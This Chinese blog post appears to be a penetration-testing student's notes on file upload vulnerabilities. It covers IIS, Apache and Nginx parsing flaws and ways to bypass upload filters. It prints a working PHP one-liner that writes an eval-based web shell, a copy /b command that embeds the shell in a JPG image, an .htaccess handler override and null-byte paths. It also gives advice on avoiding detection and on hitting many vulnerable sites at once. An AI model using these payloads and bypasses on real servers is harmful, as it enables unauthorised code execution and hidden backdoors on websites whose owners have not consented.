Upload DAY19

发布时间 2023-12-24 01:23:59作者: linyuexiyu

文件解析漏洞 当我们上传了a.asa 当成asp格式运行

渗透测试是一个挖漏洞的过程

网上主要是告诉你利用 而不是怎么找

常见的容器(用来搭建网站 就可能存在解析漏洞):

a.asa asp cer cdx这些都以asp运行

Iis6: a.asp;jpg 是什么解析? 分号解析 然后会把整个文件认成asp格式

适用于什么情况:

只允许你上传jpg格式 我们就利用分号解析漏洞    

Iis6.0:目录解析:前提 我们能创建目录

可以创建a.asp目录 上传图片吗 a.jpg

这样会把a.asp目录当成a.asp 把目录当成文件 目录里面所有东西当成 内容

直接上传改成后缀 也行

我们需要配合编辑器 不能发生改变 没有时间戳、

 

IIS7.0以上的解析:

2012 2018 2016

传一张图片

我们访问这个图片 1.jpg/.php

然后这个网站会帮我们用php格式访问这张图片

于是我们上php的图片马就行 后缀都不用改

这是fortc++通用匹配的过程 没有打开 那我们就可以使用这种方法 运行图片马

例子"

首先我们要知道 php我们后缀就.php asp 哦我们目录后缀就.asp

""

判断是否有这个漏洞

'找一张这个网站有图片的地方

 

'

右击 在新标签中打开图片:

然后:在连接后面加上/.php

如果是乱码就有 像这种就没有

不是乱码显示 是500 也有可能这个漏洞

不从它显示的 从网络 f12里面看

很多网站都有这个漏洞

倒数第3行 url才用

Fast-CGL

一旦被打开 就容易被jpg./php

漏洞信息收集:

可能一个服务器四五百站都有这个漏洞 可能是管理员失误 都开了这个选项

我们只需要上传 图片马库库提取权限

阿帕奇解析漏洞:"

配合搞黑名单:

服务器始终不让我们上传php

我们上传不是php后缀 的文件 x.php.zzzz.xxdf就行

然后下面的那些后缀格式 都是阿帕奇会识别为php格式的后缀格式我们可以添加 然后尝试绕过检测给服务器上传php脚本

HTACCES:很少能上传这种后缀 所以我们一般留后门而不是直接上传

  • 如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:
  • <FilesMatch "*.jpg "> SetHandler application/x-httpd-php </FilesMatch>
  • 上面这句话的意思是 将这个目录里面所有的文件后缀为jpg的文件都以什么应用程序方式运行?:php
  • 当然为了我们不被发现 肯定不能选中所有图片 因为如果这样的话 网站所有图片都会变成乱码 导致我们被发现
  • 然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件

NGINX: 空字节代码执行漏洞

nginx畸形解析漏洞

  • 默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件
  • 将shell语句,如
  • <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 经常用到!!一旦这代码运行 就会生成一个新的一句话木马
  • 这句话和图片混在一起 然后我们访问这个图片网站位置跟./php 我们就能在这个图片存在的同一目录找到新生成的一句话木马
  • 写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后
  • copy xx.jpg/b + xx.txt/a test.jpg
  • 上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php

Nginx 空字节代码执行漏洞:

  • 影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
  • Nginx在图片中嵌入PHP代码然后通过访问
  • xxx.php%00.jpg
  • 来执行其中的代码

上传页面查找:

  1. 扫描目录
  2. 爬行目录 其实也是扫 爬行菜刀 inc/ include admin/管理目录 ewebeditor editor fckeditor upload upload.asp ckfinder
    up.html 我们字典一定要强大 记得扫2级 3级目录 uploadfile/我们上传后的文件
    upload.asp 有上传接口
    有浏览 没提交
    有上传接口
    空白 需要我们本地写一个界面
    前台用户 可能有上传 我们可以尝试注册用户 例如上传身份证

Upload上传靶机演示

找到靶机上传页面后
上传正常图片 然后抓包 上传了 其实没上传
我们需要先上传我们图片马之前的正常图片看看我们是否能正常访问 或者 正常上传 免得被骗

图片的内容里面的中后方使我们植入木马的地方 也就是找图片在哪个目录
可能是相对路径 绝对路径 骗人路径 多多确认

可以操作的地方

这两行添加减号 加号 扰乱 加很多加号 超过拦截长度 防止它阻止我们上传我们想要的格式 修改成非法的包 代码就不拦截了

黑色倒数第一行也能改

举例:

这样改


上传流程
通常一个文件以 HTTP 协议进行上传时,将以 POST 请求发送至 web 服务器 web 服务器接收到请求后并同意后,用户与 web 服务器将建立连接,并传输 data

文件上传特征




服务器命名规则
第一种类型:上传文件名和服务器命名一致

  • 第二种类型:上传文件名和服务器命名不一致(随机,时间日期命名等)

常见的上传检测方式:

  1. 前端拦截
  2. 服务端 在服务器脚本代码里面 后端有拦截 拦截 我们 content-type 识别我们合法吗 不看我们的后缀
  3. 目录检测 更像白名单 看实战就明白了 不论你什么后缀 asp就会被修改为jpg

    数据包里面有个filepath =""
    /uploadfile/1523153.jpg
    我们可以x.asp;1561561.jpg截断突破白名单

4.文件扩展名 定义黑名单 和 白名单 黑名单不如白名单安全 比如我们大写说不定就过去了

5.文件内容检测 很少 主要是waf做
我们的任务 突破代码和后缀识别
防御就是白名单+时间戳命名


客户端前端绕过:

我们可以在前端直接在控制台修改前端代码 ;

或者burp抓包然后修改 jpg为php

很重要的绕过方法

上传asp成功 但是没有文件执行权限 我们可以改我们存文件的目录!!修改下图的地方就行

绕过黑名单

  1. 用bp的狙击手爆破没进后缀名黑名单的

绕过白名单 一般就只能利用解析漏洞了

Test.asp%00.jpg 和Test.asp%00jpg 不一样
双文件上传也可以尝试突破白名单

直接复制粘贴 下面的文件内容就行 第一个不能改 我们粘贴上去的第二个 就能将1.jpg修改为2.asp.php 2.aspjpg
还是被拦住了我们尝试换页面 怎么找这个界面 下载服务器 然后分析

然后我们就上传成功了

竞争上传 :
在被发现 合法之前 我们要迅速访问我们上传的图片建立连接 当然得没有用时间戳改名字 因为破解时间戳需要靠电脑性能
我们可以利用竞争上传和上面的一句话生成的木马的 不是上传过来的而是我们的木马生成的

 

内容检测:

有些检测可能对我们的一句话木马进行二次渲染
没有提交按钮

上传了没找到我们的图片 我们可以用菜刀爬行上传目录